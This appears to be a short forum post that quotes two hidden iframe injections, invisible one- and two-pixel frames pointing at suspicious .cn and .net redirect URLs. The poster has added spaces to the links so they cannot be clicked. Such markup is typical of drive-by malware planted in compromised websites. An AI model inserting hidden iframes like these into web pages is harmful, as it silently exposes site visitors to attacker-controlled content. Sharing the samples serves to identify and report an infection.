1. <iframe src="http: // liteautotoponline .cn / ts / in.cgi?mozila11" width=2 height=4 style="visibility: hidden"></iframe>

2. <iframe src="http: // brugeni .net/?click=17F992" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

I put some spaces in the link to avoid clicking accidently.